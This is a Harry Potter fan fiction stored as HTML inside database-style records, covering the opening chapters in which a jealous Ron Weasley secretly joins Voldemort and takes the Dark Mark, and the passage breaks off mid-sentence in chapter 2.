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	(1, 1, '\n\n\n\n\n\n\n\n<p style="mso-pagination:none"><b>Out of the Shadows and Into the\nNight</b></p>\n\n<p style="mso-pagination:none">Disclaimer: Harry Potter &amp; Co.\ndon&#8217;t belong to me. They belong to JK Rowling.</p>\n\n<p style="mso-pagination:none"><b>Chapter 1: A New Face</b></p>\n\n<p style="mso-pagination:none">Ron Weasley sat up in his bed\nthinking. He was about to enter his seventh and final year of Hogwarts school\nof Witchcraft and Wizardry.&nbsp; One year\nleft.&nbsp; That was it.&nbsp; It was his last chance to prove that he was\njust as good as his brothers. Each had left behind a unique legacy, and would\nalways be remembered by name.&nbsp; He knew\nthat before Harry came along, it had been Charlie that\nwas mentioned as the great Gryffindor Seeker, his legacy surpassing that of\nJames Potter.&nbsp; Bill had been the first\nof the family to attend Hogwarts.&nbsp; His\nlegacy was in academics, his 12 OWLs, which were finally lived down by\nHermione, and his position as a prefect, and later, Head Boy, the first in the\nfamily.&nbsp; Percy was known for his\nperfection, his OWL score (12, like Bill) and as the second Head Boy in the\nfamily.&nbsp; Fred and George&#8217;s jokes were\nlegendary, although they didn&#8217;t beat the Marauder&#8217;s number of detentions,\nthough if there been only 2 marauders, Fred and George would have cleaned\nup.&nbsp; They had received a personal\ncongratulation from Padfoot himself, although they hadn&#8217;t figured out who he\nreally was.</p>\n\n<p style="mso-pagination:none">Now it was Ron&#8217;s turn. He was just\nthe youngest Weasley boy, Harry Potter&#8217;s sidekick. It was the only thing that\npeople ever saw about him. In his eyes, being friends with the famous Harry\nPotter was nothing to brag about. Harry had lots of friends. The problem was\nthat almost none of them saw the man behind the scar. He knew that Harry found\nit frustrating. His natural ability for Quidditch, fighting evil and just magic\nin general made it worse for him. To the wizarding world, he was &#8220;The Boy Who\nLived&#8221;, &#8220;Gryffindor&#8217;s Seeker and Captain&#8221;, or &#8220;James and Lily Potter&#8217;s son.&#8221; No\nmatter how hard he tried, Harry was never able to escape the titles.&nbsp; To Ron, Harry was just his friend.&nbsp; The fact that he was an extraordinarily\npowerful wizard was secondary.&nbsp; Ever\nsince they had met on the train, Ron had been envious of Harry, although he\nconcealed it well.&nbsp; Hermione knew, of\ncourse, but she had figured it out on her own.&nbsp;\nEven when confronted by either of his two friends, he denied it.&nbsp; Harry believed it.&nbsp; He put too much trust into his friends.&nbsp; Hermione didn&#8217;t.&nbsp;&nbsp; She was\ntoo smart for her own good.</p>\n\n<p style="mso-pagination:none">Ron had longed for so long to have\nHarry&#8217;s power, and Hermione&#8217;s intellect.&nbsp;\nHe knew that he would never be smart.&nbsp;\nHe was just a mediocre student.&nbsp;\nWell, Harry was too, but Ron half suspected that Harry only did it to\nmake Ron feel better.&nbsp; He could have\neasily matched or bettered Hermione&#8217;s marks.</p>\n\n<p style="mso-pagination:none"><i>If only I had that power! </i>He\nknew that there were ways of stealing someone&#8217;s power, but the spells were\ncomplicated and he knew that he wouldn&#8217;t be able to perform them.&nbsp; What if someone else performed the\nspell?&nbsp; Hermione would never consent to\ndo it, and neither would Harry.&nbsp; He\ncouldn&#8217;t consider anyone else at Hogwarts.&nbsp;\nThey would immediately go to Dumbledore, and he would most likely be\nexpelled.&nbsp; He needed to do it secretly.</p>\n\n<p style="mso-pagination:none">That left one option.&nbsp; <i>Voldemort. </i>&nbsp;The man who had been trying to kill his best friend for sixteen\nyears was the only person who could help him escape the shadows that had been\nholding him since he was born.</p>\n\n<p style="mso-pagination:none">It was the only way, but the problem\nwas that he didn&#8217;t know a way to contact any of the Death Eaters.&nbsp; Granted, he only knew a few names, but that\nwas better than nothing.&nbsp; His name was\nanother problem.&nbsp; The Weasley family had\nalways been outspoken against Voldemort, so it would take some convincing to\nmake them believe that he really wanted to do this.&nbsp; He would do whatever it took, just as long as he got to where he\nwanted to be.</p>\n\n<p style="mso-pagination:none">Finally, he decided that he would\nwrite to Malfoy.&nbsp; He was almost certain\nthat he was a Death Eater.&nbsp; Even if he\nhadn&#8217;t formally become one yet, he knew that the Slytherin would become one\neventually.&nbsp; With those thoughts, he sat\ndown to write a letter to the person who he thought could pull the strings to\nget to where he wanted to be.</p>\n\n<p style="mso-pagination:none"><i>Draco Malfoy-</i></p>\n\n<p style="mso-pagination:none"><i>I do not know the initiation\nprocedures for those wanting to enter the Dark Lord&#8217;s service, but I have heard\nthat you are one person I could contact with my request.&nbsp; I would like to enter the Dark Lord&#8217;s ranks,\nand as soon as possible.&nbsp; Send the\nanswer by return owl, as I am not willing to put my name on this paper.&nbsp; Thank you for your help, if indeed you can\nhelp.</i></p>\n\n<p style="mso-pagination:none">He sent Errol off with the letter,\nknowing that he wouldn&#8217;t be recognized. He eagerly waited for a reply. </p>\n\n<p style="mso-pagination:none">For three days, Ron was on pins and\nneedles waiting for the answer.&nbsp;\nFinally, he couldn&#8217;t stand it anymore.&nbsp;\nHe had just sat down to write another letter when an exhausted gray\nfeather duster flew through his open window. A piece of parchment attached to\nit.&nbsp; <i>Finally!</i> He thought.&nbsp; He knew that it was probably Errol&#8217;s fault,\nthe owl was really old, and could hardly deliver anymore.</p>\n\n<p style="mso-pagination:none">Ron tore open the letter.&nbsp; The answer was better than he expected.&nbsp; Part of him was expecting an outright\nrefusal, and another part was expecting a letter demanding to know who he was,\nand if he really wanted to be a Death Eater, not just a spy for Dumbledore.</p>\n\n<p style="mso-pagination:none"><i>I have presented this matter to My\nLord, and he has agreed to meet you and welcome you into his service.&nbsp; I do not require your name at this time, but\nknow that the Dark Lord will.&nbsp; Beware,\nif you intend to join in order to help Dumbledore&#8217;s cause, you will suffer, my\nMaster has ways of determining if you are loyal or not.&nbsp; A portkey will be sent to you tomorrow,\nactivated at midnight.&nbsp; This will bring\nyou to the meeting where you will be initiated.&nbsp; If you have any second thoughts, do not use the portkey.&nbsp; The Dark Lord does not deal kindly with\ntraitors.</i></p>\n\n<p style="mso-pagination:none">The letter was not signed.&nbsp; Instead, the bottom of the parchment was\nmarked with the picture of a skull with a snake protruding from its mouth drawn\nin dark green ink.</p>\n\n<p style="mso-pagination:none">To Ron, the next day seemed to be\nabout forty hours long.&nbsp; He re-read the\nletter at least ten times.&nbsp; And he was\nstarting to feel slight misgivings over what he was about to do.&nbsp; He didn&#8217;t really want to kill or torture\nanyone, and he didn&#8217;t see what was wrong with Muggles or Muggle-borns.&nbsp; All he wanted was the power.&nbsp; Was killing and torturing too high a price\nto pay just so he could be free of the shadows?</p>\n\n<p style="mso-pagination:none">He was on the verge of throwing away\nthe portkey when there was a tapping on his window.&nbsp; He turned to see Harry&#8217;s snowy owl, Hedwig, perched on the sill\nwith a letter tied to her leg.&nbsp; He\nopened the window immediately to read his friends letter.&nbsp; As he started to read, he almost felt guilty\nabout what he was about to do.</p>\n\n<p style="mso-pagination:none"><i style="mso-bidi-font-style:normal">Dear\nRon,</i></p>\n\n<p style="mso-pagination:none"><i style="mso-bidi-font-style:normal">I\ndon&#8217;t know how both Hermione and I overlooked this fact for so long, but\napparently we live in the same neighborhood, two doors away as a matter of\nfact.&nbsp; I have started jogging as a way\nto clear my head in the morning (even though it has been two years since Cedric\ndied, that night still haunts my dreams).&nbsp;\nSo, I was out jogging one morning, and was so focused on not thinking\nabout the dream, that I ran straight into a girl, knocking her down, nearly\nfalling myself.&nbsp; I offered her my hand\nto help her up, when I noticed how pretty she was.&nbsp; I mean downright beautiful.&nbsp;&nbsp;\nShe took my hand and when she was standing and had finally cleared her\nhair out of her face she took a step back, still looking at the ground,\nembarrassed that she hadn&#8217;t seen me coming.&nbsp;\nI stammered out an &#8220;I&#8217;m sorry,&#8221; and finally, she looked up.&nbsp; As you can guess, we were both surprised\nthat we had run into each other.</i></p>\n\n<p style="mso-pagination:none"><i style="mso-bidi-font-style:normal">Anyway,\nto make a long story short, I have spent most of my summer over at her house,\ndoing homework and just relaxing.&nbsp; There\nis something about her that just makes me let go of everything.&nbsp; Well, yesterday, I finally got up enough\ncourage to ask her out, and she said yes.&nbsp;\nYou probably don&#8217;t want to know, but we spent a good portion of the day\nsnogging.&nbsp; </i></p>\n\n<p style="mso-pagination:none"><i style="mso-bidi-font-style:normal">That&#8217;s\nmy big story of the summer.&nbsp; I am\nlooking foreword to going back to Hogwarts so I can see you again.&nbsp; The only reason I can stay at Hermione&#8217;s is\nbecause it is so close to the Dursley&#8217;s house that the wards still work.</i></p>\n\n<p style="mso-pagination:none"><i style="mso-bidi-font-style:normal">That&#8217;s\nall I have to say for now, so watch out for Fred and George, and I&#8217;ll see you\nin a month.</i></p>\n\n<p style="mso-pagination:none"><i style="mso-bidi-font-style:normal">Harry.</i></p>\n\n<p style="mso-pagination:none">Dammit!&nbsp; Harry always got what he wanted.&nbsp; All of the guilt he had felt was replaced\ninstantly by bitter jealousy.&nbsp; So they\nwere a couple now!&nbsp; It was one more\nthing that would shove him on the back burner for the rest of the year.&nbsp; They deserved what was coming to them.&nbsp; </p>\n\n<p style="mso-pagination:none">&#8216;<i style="mso-bidi-font-style:normal">I really need a change,&#8217;</i> Ron thought.</p>\n\n<p style="mso-pagination:none">***** </p>\n\n<p style="mso-pagination:none">Finally,\nafter the longest day of Ron&#8217;s life, it was 11:59.&nbsp; He pulled the hood of his cloak up, and firmly grasped the\nportkey, an enchanted galleon.&nbsp; The\nclock started striking, far two slowly for Ron&#8217;s taste.&nbsp; As it hit the last note, he felt a tug from\nsomewhere behind his navel.&nbsp; He had been\nattached to the portkey for what felt like forever, when he felt his feet slam\nto the ground.</p>\n\n<p style="mso-pagination:none">Draco was waiting for him when he\narrived at Malfoy Manor. He had a blank expression, which, Ron noticed, was\nrather tense.&nbsp; Draco&#8217;s eyes gave his\nexpression away.&nbsp; Ron could tell that he\nwas deadly curious about who the new person was.</p>\n\n<p style="mso-pagination:none">&#8220;I see that you have a cloak with a\nhood,&#8221; Draco said.&nbsp; He held out a black\nmask, &#8220;Here, put this on.&nbsp; If you don&#8217;t\nwant to be known yet, then turn your back.&#8221;</p>\n\n<p style="mso-pagination:none">Ron wisely said nothing, preferring\nto stay silent in the company of his worst enemy. &nbsp;He didn&#8217;t want to know what Draco would do to him if his real\nidentity were revealed before they reached the Dark Lord.</p>\n\n<p style="mso-pagination:none">Nothing else was spoken between\nthem.&nbsp; When Ron turned around again, the\nmask covered his face, and the hood of his cloak covered his hair.&nbsp; Draco made a motion for him to follow, and\nhe did.</p>\n\n<p style="mso-pagination:none">He had no idea what to expect.&nbsp; His very limited dealings with the dark arts\nwere all done from Harry&#8217;s side.&nbsp; He\ndidn&#8217;t know what Voldemort would expect him to do.&nbsp; A feeling started in the pit of his stomach and slowly spread\nthrough his limbs.&nbsp; It was similar to\nwhat he had felt before he was sorted on their first night at Hogwarts.</p>\n\n<p style="mso-pagination:none">They soon reached a door.&nbsp; Draco knocked once to announce their arrival\nbefore pulling out his wand and muttering a password.&nbsp; Slowly the doors creaked open to reveal a large and richly\nfurnished room.&nbsp; The walls were hung\nwith deep green tapestries.&nbsp; The\npatterns were so complex that Ron could not make them out from his position\njust inside the doors.&nbsp; The floor was\ncovered in a black plush carpet.&nbsp; Ron\ncould feel how thick it was through the soles of his boots.&nbsp; At the far end of the room was a\nthrone.&nbsp; It was black and set with\nblood-red rubies.&nbsp; </p>\n\n<p style="mso-pagination:none">In the chair was the most repulsive\nman Ron had ever laid eyes on.&nbsp; Ron could\ntell that he was tall, even though he was sitting down.&nbsp; He was made of nothing but flesh and bone, a\nfact that showed clearly through his long, black robes.&nbsp; His long spindly fingers were clearly\nvisible from the other side of the room.&nbsp;\nBut it was his face that made him truly repulsive.&nbsp; His skin was pure white, a stark contrast to\nhis jet-black hair.&nbsp; Instead of a nose,\nhe had two flat slits, which reminded Ron of a snake.&nbsp; He had blood-red eyes that were pointed at the corners.&nbsp; He didn&#8217;t have any marks or blemishes on his\nface.&nbsp; Ron had to look closely to\nascertain that he had a mouth; no lips were visible.&nbsp; Curled up on the rug at his feet was a giant snake.&nbsp; Ron recoiled slightly.&nbsp; He wasn&#8217;t afraid of snakes, but they still\ndidn&#8217;t sit to well with him.</p>\n\n<p style="mso-pagination:none">Draco moved toward the throne and\nbowed low, kissing the hem of Voldemort&#8217;s robes.</p>\n\n<p style="mso-pagination:none">&#8220;Rise, Draco,&#8221; Voldemort spoke in a\ncold, high-pitched voice.&nbsp; &#8220;I see you\nhave a new servant for me.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;Yes, My Lord,&#8221; Draco spoke, bowing\nonce more.&nbsp; Draco motioned Ron to his\nside, bowed a final time, backed away from the throne and left, closing the\ndoor as he left.</p>\n\n<p style="mso-pagination:none">Ron was almost visibly shaking\nnow.&nbsp; Following Draco&#8217;s example, he\nbowed low and kissed the hem of Voldemort&#8217;s robes.&nbsp; He straitened up to find himself looking directly into the Dark\nLord&#8217;s red eyes.</p>\n\n<p style="mso-pagination:none">&#8220;You have nothing to fear if you\ncome to me out of loyalty to my cause,&#8221; Voldemort addressed him directly for\nthe first time.&nbsp; Ron&#8217;s physical\ntrembling stopped, and Voldemort seemed satisfied, although he didn&#8217;t break eye\ncontact.</p>\n\n<p style="mso-pagination:none">After what seemed like an eternity,\nhe spoke again, &#8220;Is your blood pure?&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;Yes, My Lord.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;What is your surname?&nbsp; People have a habit of lying about this\nparticular trait.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;I am a Weasley, My Lord.&nbsp; There has never been a Mudblood in our\nfamily tree.&#8221;</p>\n\n<p style="mso-pagination:none">The name caught Voldemort&#8217;s\nattention.&nbsp; </p>\n\n<p style="mso-pagination:none">&#8220;A Weasley? Interesting.&nbsp; And you are not spying for Dumbledore?&#8221; Ron\nshook his head.&nbsp; &#8220;I am compelled to\nbelieve you.&nbsp; Which Weasley are\nyou?&nbsp; If you are in school, then you\nwill be highly useful to me.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;I am Ron Weasley, My Lord.&nbsp; I am in my final year at Hogwarts.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;The same year as Harry Potter.&nbsp; What house are you in?&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;Gryffindor, my Lord.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;Better and better.&nbsp; I am assuming that Harry Potter is also in\nGryffindor?&#8221; Ron nodded.&nbsp; &#8220;A Gryffindor\nwill not be suspected of being treacherous.&nbsp;\nYou might prove to be my most valuable servant.&nbsp; What brings a brave Gryffindor like yourself\nto my service?&#8221;&nbsp; His voice was laden\nwith sarcasm.</p>\n\n<p style="mso-pagination:none">Ron was a little daunted by his\ntone, but continued anyway.&nbsp; After all,\nthe Dark Lord knew his name now.&nbsp; </p>\n\n<p style="mso-pagination:none">&#8220;I came to you because I want power,\nMy Lord.&nbsp; You are the only one who can\nprovide me with the power that I want.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;You have much potential.&nbsp; A perfect servant.&#8221;&nbsp; Voldemort stayed silent for a long\ntime.&nbsp; He seemed to be contemplating the\nboy who stood in front of him.</p>\n\n<p style="mso-pagination:none">&#8220;Kneel, boy,&#8221; he said at last.&nbsp; Ron followed his instructions.</p>\n\n<p style="mso-pagination:none">&#8220;You say that you want power, but in\norder for me to give that to you, you have to offer me your powers, for me to\nuse as I see fit.&nbsp; Are you willing to\nmake this offer?&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;Yes, My Lord&#8221;</p>\n\n<p>&#8220;Are you willing to give up your\nlife for me?&nbsp; It is the thing that most\nhumans value above all else.&#8221;</p>\n\n<p>&#8220;Yes, My Lord, I will give up my\nlife for you, if that is necessary to help your cause.&#8221;</p>\n\n<p>&#8220;You claim that you have not\nbeen sent by Dumbledore, is that correct?&#8221;</p>\n\n<p>&#8220;Yes, My Lord.&#8221;</p>\n\n<p>&#8220;Because of your name, I doubt\nthat claim.&nbsp; <i>Crucio</i>.&#8221;</p>\n\n<p>A pain worse than anything Ron\nimagined ripped through his body.&nbsp; It\nwas as if the curse were tearing him apart from the inside out.&nbsp; Time slowed to almost a stop as the pain\ntook over his senses.&nbsp; After far too\nlong, Voldemort removed the curse, and Ron staggered to his feet.&nbsp; He swayed for a few seconds as he tried to\nregain his equilibrium.</p>\n\n<p>Voldemort spoke, &#8220;Do you still\nmaintain that you are loyal to me?&#8221;</p>\n\n<p>&#8220;Yes, My Lord.&#8221;&nbsp; Ron&#8217;s voice surprised him.&nbsp; It felt colder and harsher than what he had\nknown his voice to be before.&nbsp; Maybe it\nwas just an effect of the Cruciatus Curse.</p>\n\n<p style="mso-pagination:none">&#8220;I\nfind that you are a suitable servant for me.&nbsp;\nHold out your left arm.&#8221;</p>\n\n<p style="mso-pagination:none">Silently, Ron did as he was\ninstructed. Voldemort placed his long, spidery hand over Ron&#8217;s forearm, just\ninside the elbow and murmured a spell. When he removed his hand, a skull with a\nsnake protruding from its mouth was burned into Ron&#8217;s arm. He let his hand\nfall, and his sleeve covered the mark.</p>\n\n<p style="mso-pagination:none">&#8220;There are several spells that you\nmust learn, but first, I promised you power, did I not?&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;Yes, my lord.&#8221;</p>\n\n<p style="mso-pagination:none">Voldemort raised his wand and\npointed it at Ron&#8217;s chest.&nbsp; </p>\n\n<p style="mso-pagination:none"><i>&#8220;Tout a un prix. Vous vous &#234;tes\ndonn&#233;s me, je vous donnez votre souhait. Puissance,&#8221; </i>he\nspoke; his voice void of all emotion, of all life.&nbsp; A blood-red mist poured out of his wand and surrounded Ron.&nbsp; He felt a surge of energy as the mist\ninvaded his body.&nbsp; It was the best\nfeeling he had ever experienced.</p>\n\n<p style="mso-pagination:none">Slowly, Voldemort lowered his\nwand.&nbsp; Ron looked him in the eye for a\nsecond.&nbsp; Then, he bowed, once again\nkissing the hem of his master&#8217;s robes.</p>\n\n<p style="mso-pagination:none">&#8220;Thank you, My Lord.&nbsp; I am honored to be in your service.&#8221;</p>\n\n<p style="mso-pagination:none">&#8220;You must speak of this to no one,\nnot even Draco.&nbsp; You do not know if the\nenemy is listening.&nbsp; You are\nexcused.&nbsp; You will be summoned.&#8221;</p>\n\n<p style="mso-pagination:none">Ron made his final bow, and walked\nbackward to the door.&nbsp; He did not turn\naround until he was outside, and the door was closed.&nbsp; This would be his year.&nbsp;\nHe now had the power he craved.&nbsp;\nNo one, not even Harry, would be able to beat him.</p>\n\n\n\n\n\n\n'),
	(1, 2, '\n\n\n\n\n\n\n\n<p class="MsoTitle">Chapter 2: Treading on quicksand</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText">Back at home, sitting on the bed, Ron could feel the\npower coursing through him.&nbsp; It was the\nmost incredible thing that he had ever felt.&nbsp;\nHe felt alive.&nbsp; There was no\nother word for it.&nbsp; He could do\nanything, without needing to sleep or eat ever again.&nbsp; <i>Maybe that&#8217;s why Harry eats so little.</i>&nbsp; </p>\n\n<p class="MsoBodyText">But no matter what he felt like, he still had to keep\nup appearances for his family.&nbsp; He\npretended that he was just his normal, cheerful, invisible self.&nbsp; The twins paid some attention to him, but it\nwas only to use him as a subject.&nbsp; Ever\nsince they had gotten their hands on some money two years ago (<i>who would be\nso foolish as to give those two money?), </i>their number of pranks and\ninventions had skyrocketed.&nbsp; Now that\nthey were on out of school, they were planning to buy a shop in Diagon\nAlley.&nbsp; They had increased their\noriginal amount by selling products to Zonko&#8217;s, and were now fairly well\noff.&nbsp; </p>\n\n<p class="MsoBodyText">&#8216;<i>Just another reason to cast me into the shadows</i>,&#8217;\nRon thought bitterly.&nbsp; </p>\n\n<p class="MsoBodyText">He privately considered himself a very good actor,\nsince no one had even hinted that he wasn&#8217;t his normal self.&nbsp; They seemed to think he was his normal self\nagain, and were treating him as such.&nbsp;\nNone of them perceived the air of power that was now in him.&nbsp; <i>Typical that they wouldn&#8217;t notice.</i>&nbsp; What his family thought was of no importance\nto him anymore.&nbsp; The Dark Lord thought\nthat he was worthy enough to receive the mark despite his family&#8217;s reputation.&nbsp; It was only his Master&#8217;s opinion that\nmattered, after all.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoNormal">******** </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">It had been two weeks since his initiation and Ron was\ngetting very irritated with his new master.&nbsp;\nHe had been reading the newspapers and there had been several attacks on\nMuggle homes, and on some Muggle-borns.&nbsp;\nRon hadn&#8217;t been summoned for any of them.&nbsp; <i>I joined to help Voldemort, and he doesn&#8217;t even summon me when\nhe plans an attack.&nbsp; I thought that I\nwould be getting some recognition when I joined.&nbsp; Apparently not.</i>&nbsp; </p>\n\n<p class="MsoBodyText">The next morning, when he went downstairs for\nbreakfast, he picked up the paper, as was his new habit.&nbsp; The cover story was another attack on Muggles,\nthis time in Surrey.&nbsp; The name rung a\nbell in Ron&#8217;s head, but he didn&#8217;t think much of it.&nbsp; He was always forgetting something.&nbsp; He looked at the date to be sure that it was current, and to\nremind himself of what day it was.&nbsp; July\n31.&nbsp; Another alarm bell went off in his\nhead, but again, he ignored it, and continued to read the paper.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText"><b><i>Muggle dies protecting her cats</i></b><b><i></i></b></p>\n\n<p class="MsoBodyText"><i>Death\neaters attacked Madeline Figg in her home in Surrey yesterday morning.</i></p>\n\n<p class="MsoBodyText"><i>The\nwoman was a muggle, and the mother of Arabella Figg, best friend of the late\nLily Potter, and extremely talented Auror.&nbsp;\nAccording to the neighbors, Figg has an obsession with cats, never\nhaving less than ten in her home.&nbsp; She\nhad been warned by her daughter to be careful of leaving the house because of\nYou-Know-Who&#8217;s rebirth.&nbsp; Despite some\nclose calls, Figg remained unharmed until yesterday.&nbsp; She was found with her body on top of two live cats.&nbsp; Authorities concluded that she tried to save\nher cats even in death.</i></p>\n\n<p class="MsoBodyText"><i>The\ndark mark was reported anonymously by one of the neighboring boys.&nbsp; Authorities have not found the source of the\ninformation yet.&nbsp; Since the owl arrived\nso soon after the attack, authorities suspect that it was sent by a death eater\nto lure authorities out of the ministry.&nbsp;\nAs of now, nothing is known about the informant, or the attack.</i></p>\n\n<p class="MsoBodyText"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText">Once again, alarm bells started ringing in Ron&#8217;s\nhead.&nbsp; Instead of ignoring them, he\nthought about the names mentioned in the article.&nbsp; He did know Arabella Figg, she had been their Defense Against the\nDark Arts professor in fifth year.&nbsp; He\nvaguely remembered someone mentioning that Old Mrs. Figg was a Muggle who loved\ncats.&nbsp; He just couldn&#8217;t think of who it\nwas.&nbsp; Maybe Hermione.&nbsp; She was a Muggle born, but Ron wasn&#8217;t quite\nsure of where she lived.&nbsp; Someone he\nknew lived in Surrey.&nbsp; It was probably\nHermione.&nbsp; Oh well.&nbsp; He flipped to the Quidditch section.&nbsp; The Cannons were at the top of the league\nfor the second year.&nbsp; Ever since Oliver\nWood had been drafted as keeper.&nbsp; Ron\nsmiled at that.&nbsp; Wood was probably\ngiving the coach pointers about how to run the team.&nbsp; He had led Gryffindor to the Quidditch cup his last year, even\nthough they lost one match.&nbsp; The fact\nthat he had coached the famous Boy-Who-Lived didn&#8217;t hurt.</p>\n\n<p class="MsoBodyText">Scanning the rest of the paper, Ron found nothing else\ninteresting.&nbsp; He put his dishes into the\nsink and climbed the multiple flights of steps up to his room.&nbsp; When he was satisfied that no one would\nbarge into his room, he rolled up his left sleeve and fingered the blood-red\nmark that was imbedded on his forearm.&nbsp;\nIt had turned black several times, but it never burned.&nbsp; He had not been summoned to join the Dark Lord\nyet.&nbsp; Sure, he had been initiated, but\nwhat good does the initiation do if you aren&#8217;t going to be serving?&nbsp; He was starting to get anxious about when\nthe Dark Lord was going to call him.&nbsp; He\ncouldn&#8217;t go in the middle of the day, someone might see him leaving, or\ndiscover that he was gone.&nbsp; He would\nthen have to answer a deluge of questions, mostly from his mother, who never\nstopped pestering him.&nbsp; Ginny would pipe\nup a vague note of concern when she was roused from her daydreams about Harry,\nand the Twins would just tease him mercilessly about his rendezvous with\nHermione or some local girl that they had noticed.&nbsp; If he was called at night, it would be ok for the time being, but\nonce Harry arrived (and Hermione for that matter), it would be impossible. &nbsp;Harry was a light sleeper due to a lifetime\nof abuse from his relatives, and years of being hunted by the Dark Lord.&nbsp; </p>\n\n<p class="MsoBodyText">But wait, Harry wouldn&#8217;t be coming this summer,\nagain.&nbsp; He was spending the summer over\nat Hermione&#8217;s, snogging and doing homework.&nbsp;\n<i>What fun.</i>&nbsp; So he could be\ncalled at night and go undetected.&nbsp; He\nsmiled at the thought.&nbsp; It was his first\nsmile in a day.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoNormal">******* </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Ron was drifting in his thoughts when he heard a knock\non the door.&nbsp; He hastily stood up and\ncovered his mark.&nbsp; He would be handed\nstraight to the ministry if his family found out.&nbsp; </p>\n\n<p class="MsoBodyText">Ron was expecting his mother to be at the door, but to\nhis surprise it was Ginny. </p>\n\n<p class="MsoBodyText">&#8220;Ron, are you ok?&#8221; she asked, her eyes full of concern\nfor her older brother.</p>\n\n<p class="MsoBodyText">&#8220;I&#8217;m fine.&#8221; </p>\n\n<p class="MsoBodyText">Even though no one had asked about his well being yet,\nhe was a bit short-tempered.</p>\n\n<p class="MsoBodyText">&#8220;Because I noticed that you didn&#8217;t send Harry a\nbirthday present.&nbsp; He turned 17 today,\nyou know.&#8221;</p>\n\n<p class="MsoBodyText">&#8220;Oh bugger.&nbsp; I\ncompletely forgot.&nbsp; I&#8217;ll send him a card\nand get a present before we go back to school.&nbsp;\nThanks, Gin, I completely forgot.&#8221;&nbsp;\nHe mentally slapped himself.&nbsp; He\nknew why the alarms had gone off in his head while reading the newspaper.&nbsp; Harry lived in Surrey too, and Mrs. Figg had\nbeen his babysitter when he was little.</p>\n\n<p class="MsoBodyText">&#8220;What&#8217;s up with you?&nbsp;\nYou&#8217;ve been really preoccupied lately, and I don&#8217;t think I have ever\nseen you read the paper before.&nbsp; It\nlooks like Hermione is rubbing off on you.&#8221;&nbsp;\nGinny joked, trying to improve Ron&#8217;s mood.&nbsp; After all, he did seem distant.</p>\n\n<p class="MsoBodyText">&#8220;No, she&#8217;s probably doing that to Harry right\nnow.&nbsp; I don&#8217;t hear much from Harry\nduring the summer, and since You-Know-Who is so active now, I want to know if\nhe is hurt.&nbsp; The paper is the only way\nto do it.&#8221;&nbsp; He lied, about the paper\nanyway.&nbsp; For all he knew, Hermione\nreally was rubbing Harry right now.</p>\n\n<p class="MsoBodyText">&#8220;Ok then.&nbsp; It\njust doesn&#8217;t seem like you to forget your best friend&#8217;s birthday.&#8221;&nbsp; With that, she left, pulling the door closed\nbehind her.</p>\n\n<p class="MsoBodyText">Ron sat back down on the bed and rolled up his sleeve\nagain.&nbsp; This year he wouldn&#8217;t have to\nworry about anything, other than pretending to be on Dumbledore&#8217;s side.&nbsp; The man could see through almost any\ndisguise or lie.&nbsp; Just his luck that the\nfool was his headmaster.&nbsp; <i>I&#8217;ll just\nhave to stay out of trouble.&nbsp; I can\navoid getting sent to Dumbledore&#8217;s office if I really try.&nbsp; Harry is the one that is always in there.</i></p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Hermione is the same.&nbsp;\nShe had always been able to read Ron&#8217;s emotions and thoughts like a\nbook.&nbsp; Well, he would have to avoid her\nas much as he could.&nbsp; There was no other\nsolution to the problem.&nbsp; No matter what\nhis relationship had been with her previously, she was a Muggle-born, and would\neventually be killed.&nbsp; He didn&#8217;t want to\nbe close to her when that happened.&nbsp; She\nhad been his friend for the last six years.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">******** </p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Ron woke up in the middle of the night because his arm\nfelt like it was splitting open.&nbsp; He\nmoved over to the window and pushed his sleeve up above the mark.&nbsp; It was black, and the lines seemed to be\ngetting deeper in his skin.&nbsp; He pressed\nhis hand over it and closed his eyes in an attempt to block out some of the\npain.&nbsp; To his great surprise, it\nworked.&nbsp; Be slowly opened his eyes and\nlooked at the tattoo.&nbsp; It had reverted\nback to its regular red.&nbsp;&nbsp; He looked\naround his room, but was startled to find that it wasn&#8217;t his room anymore.&nbsp; Next to him were a cloak and a mask.&nbsp; <i>Finally, I&#8217;ve been summoned.&nbsp; Took him long enough.</i>&nbsp; Ron put on the items left for him and moved\nto the door of Voldemort&#8217;s room.&nbsp; Both\ndoors stood open, and inside, a circle of people was assembling.&nbsp; There was an empty spot close to his\nmaster&#8217;s side, and silently, he walked over and filled it.&nbsp; Before he took his place, he bowed low, and\nkissed the hem of his master&#8217;s robes, as he had seen the others do.&nbsp; Slowly, the circle was filled with people,\nand when there were no empty spots left, Voldemort spoke.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Tonight, we will start to our plan to defeat Albus\nDumbledore and the Order of the Phoenix,&#8221; he said. &nbsp;&nbsp;&#8220;Part of that will be defeating Harry Potter.&nbsp; We do not have much more time to find him\noutside of school.&nbsp; He is very well\nprotected, and if he is still at his relatives, then he cannot be touched.&nbsp; Not even by Ronald.&nbsp; For although he is Mr. Potter&#8217;s friend, the\nwards will not let him pass since he now bears the Mark.&#8221;&nbsp; Voldemort paused and looked around the\ncircle at the hidden faces of his servants.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;We now have two people inside of Hogwarts.&nbsp; A student and a teacher.&nbsp; It will be their job to find out a way to\nbreak the spells guarding the castle.&#8221;&nbsp;\nHe looked into Ron&#8217;s eyes, 